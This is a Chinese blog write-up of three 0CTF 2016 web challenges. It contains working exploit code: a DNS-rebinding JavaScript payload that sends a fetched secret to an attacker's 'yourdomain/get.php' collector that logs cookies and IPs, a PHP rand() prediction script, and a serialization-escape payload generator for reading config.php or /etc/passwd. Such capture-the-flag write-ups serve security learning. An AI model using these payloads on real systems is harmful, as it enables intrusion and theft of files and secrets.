Virink's Blog logo

Virink's Blog

Let life be beautiful like summer flowers, and death like autume leaves.

 0ctf 2016 部分 web writeup

monkey

折腾最久就是这道题了,表示很无奈、、脑洞居然是DNS解析、、、给老外的送分题啊

域名解析商

根据页面提示 $str so that (substr(md5($str), 0, 6) === ‘c1da58’),果断跑数字,成功爆破,最后确定为7-9位左右

再根据提示What is Same Origin Policy?,明显的同源策略

先来一发ajax获取数据:

js.php or js.html

<script src="jquery.min.js"></script>
<script>
function getdata(){
    $.ajax({
        type: "GET",
        url:'http://xxx.com:8080/secret',
        async: true,
        error: function(request) {
            getdata();
        },
        success: function(data) {
            $.get('http://yourdomain/get.php?data='+data);
        }
    });
}
getdata();
</script>

再来一发get.php:

<?php
    $data = "get : ".urldecode(urldecode($_SERVER['QUERY_STRING']));
    $data .= "\r\npost : ".urldecode(urldecode(file_get_contents("php://input")));
    $data .= "\r\nip : ".$_SERVER["REMOTE_ADDR"];
    $data .= "\r\nREFERER : ".$_SERVER['HTTP_REFERER'];
    $data .= "\r\nHTTP_USER_AGENT : ".$_SERVER['HTTP_USER_AGENT'];
    $data .= "\r\nREQUEST_METHOD : ".$_SERVER['REQUEST_METHOD'];
    $data .= "\r\nCookies : ".implode(' ',$_COOKIES);
    if(strlen($data)>10){
        file_put_contents("get.txt","### ".date("Y-m-d H:m:s")." ###\r\n".$data."\r\n", FILE_APPEND);
    }
?>

最后来一发自动爆破并提交的py:

monkey_poc.py

#!/bin/env python
#-*- encoding: utf-8 -*-

import md5
import os
import re
import time
import requests

def mx(str):
    m1 = md5.new()   
    m1.update(str)   
    return m1.hexdigest()

if __name__ == '__main__':
    r = requests.session()
    print 'start'
    g = r.get("http://202.120.7.200/index.php")
    m = re.search(r'\(substr\(md5\(\$str\), 0, 6\) === \'([1|2|3|4|5|6|7|8|9|0|a|b|c|d|e|f]{6})\'\)', g.content).group(1)
    print 'fucking ' + m
    for x in range(10000000,100000000):
        a = mx(str(x))[0:6]
        if a == m:
            print 'get string: ' + str(x)
            _data = {"task":str(x), "url":"http://xxx.com:8080/fuck.php?a="+str(x)}
            b = r.post("http://202.120.7.200/run.php",data=_data)
            print b.content
            break
    time.sleep(3)
    i = 120  
    while i:
        if i == 110:
            print ' Please change you dns'
        else:
            print i
        i = i-1
        time.sleep(1)
    print 'end'

拿起你的域名、、、找一个牛X的dns解析提供商

运行poc后,根据提示把域名A记录改为127.0.0.1

你的js.php或者js.html需要放在8080端口哦、、、Orz

拼手速+网速的时候到了

rand_2

题目源码

<?php
include('config.php');
session_start();

if($_SESSION['time'] && time() - $_SESSION['time'] > 60) {
    session_destroy();
    die('timeout');
} else {
    $_SESSION['time'] = time();
}

echo rand();
if (isset($_GET['go'])) {
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
} else if (isset($_GET['check'])) {
    if ($_GET['check'] === $_SESSION['rand']) {
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
} else {
    show_source(__FILE__);
}

由于$_GET[‘check’] === $_SESSION[‘rand’]===全等类型判断,目测无法绕过、脑洞必然在rand()

这方面没怎么研究、完全现学现卖、、疯狂地百度

参考文章 : 随机数产生原理

队友写的POC

rand_2_poc.py

#!/bin/env python
#-*- encoding: utf-8 -*-

import requests

while True:
    r = requests.session()
    l = []
    # 获取50个随机rand值并存入list
    for i in range(50):
        response = r.get('http://202.120.7.202:8888/')
        l.append(int(response.content[:response.content.find('<')]))
    #将$_SESSION['rand']这个数组写满5个随机数
    response = r.get('http://202.120.7.202:8888/?go')
    #获取将MD5之前的rand随机数存到list
    l.append(int(response.content[:-32]))
    url = 'http://202.120.7.202:8888/?'
    for i in range(5):
        end = len(l)
        #由随机数生成算法预测下一个随机数
        randNUM = (l[end-3]+l[end-31]) % 2147483648 
        l.append(randNUM)#将新生成的也加入到列表里
        #构造url 传入数组5个预测rand随机数
        url += 'check[]={}&'.format(randNUM)
    response = r.get(url)#GET请求url 同时传入参数
    #如果输出不是 die 大功告成
    if 'die' not in response.content:
        print response.content
        break

piapiapia

下载源码、通读一遍。

大概可以知道这题的脑洞在于是更新个人资料。

并且,flag是在config.php中!

在class.php中可以看到filter()过滤函数,update_profile()更新profile函数

public function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);
    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}

可以知道’和\被替换成_,以及select、insert、update、delete和where被替换成hacker。

public function update_profile($username, $new_profile) {
    $username = parent::filter($username);
    $new_profile = parent::filter($new_profile);
    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}

所更新的资料都是被filter()过滤后的。

在update.php中

$user->update_profile($username, serialize($profile));

更新的profile是警告序列化转换的。

再往上看,用户输入的数据都是经过正则验证的,然而其中有这样一段代码

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10){
    die('Invalid nickname');
}

明显和另外两个变量,email和photo不同、此处必定是脑洞!!!

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
返回值
preg_match()返回 pattern 的匹配次数。   它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。
如果发生错误preg_match()返回 FALSE。

如果发生错误preg_match()返回 FALSE。

当我们输入数组的时候,必定会导致preg_match()返回FALSE,同时让数组长度<10的很简单的,即可以提交nickname[]=playload

我们提交nickname[]=xxx可以得到序列化语句:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

根据PHP unserialize()的特性(这个是测试出来的),解序列化一个完整序列化语句之后的字符串是会被无视掉的。例如:

unserialize('a:1:{s:5:"phone";s:11:"12345678901";}')

等价于

unserialize('a:1:{s:5:"phone";s:11:"12345678901";}xxxxxxxxxxxxxxxx')

所以、我们可以构造一个特殊的序列化语句,伪造一个photo路径,就像这样:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:3:"xxx";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

但是,我们提交的nickname[]=xxx”;}s:5:”photo”;s:10:”config.php的时候,却是会得到:

a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:17:"email@email.email";s:8:"nickname";a:1:{i:0;s:34:"xxx";}s:5:"photo";s:10:"config.php";}s:5:"photo";s:39:"upload/0cc175b9c0f1b6a831c399e269772661";}

a:1:{i:0;s:34:"xxx";}s:5:"photo";s:10:"config.php";}

我们需要逃逸”;}s:5:”photo”;s:10:”config.php这31个字符

这时、猛然发现filter()中,把where替换成hacker明显逃逸了一个字符。。。。。脑洞完全暴露

当 ‘where’n+’“;}s:5:”photo”;s:10:”config.php’ == ‘hacker’n 的时候,就可以成功逃逸

得到playload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php

piapiapia_poc.py

#!/bin/env python
#-*- encoding: utf-8 -*-

def getflag():
    playload = '";}s:5:"photo";s:10:"config.php'
    w = 'where'
    h = 'hacker'
    for i in range(100):
        if len(w*i +playload) == len(h*i):
            print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
            break

def getpasswd():
    playload = '";}s:5:"photo";s:11:"/etc/passwd'
    w = 'where'
    h = 'hacker'
    for i in range(100):
        if len(w*i +playload) == len(h*i):
            print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
            break

def getany(f):
    playload = '";}s:5:"photo";s:'+str(len(f))+':"'+f
    w = 'where'
    h = 'hacker'
    for i in range(100):
        if len(w*i +playload) == len(h*i):
            print 'Playload is :\r\n\t'+w*i +playload+'\r\n'
            break
    update(w*i +playload)

if __name__ == '__main__':
    print 'get flag playload:\r\n'
    getflag()
    print 'get /ect/passwd playload:\r\n'
    getpasswd()
    f = raw_input("Input filepath what your want to read:")
    getany(f)
本文标题 : 0ctf 2016 部分 web writeup
文章作者 : Virink
发布时间 :  
最后更新 :  
本文链接 : https://www.virzz.com/2016/03/14/some_web_writeup_for_0ctf_2016.html
转载声明 : 转载请保留原文链接及作者。
转载说明 : 本卡片有模板生成,本人转载来的文章请忽略~~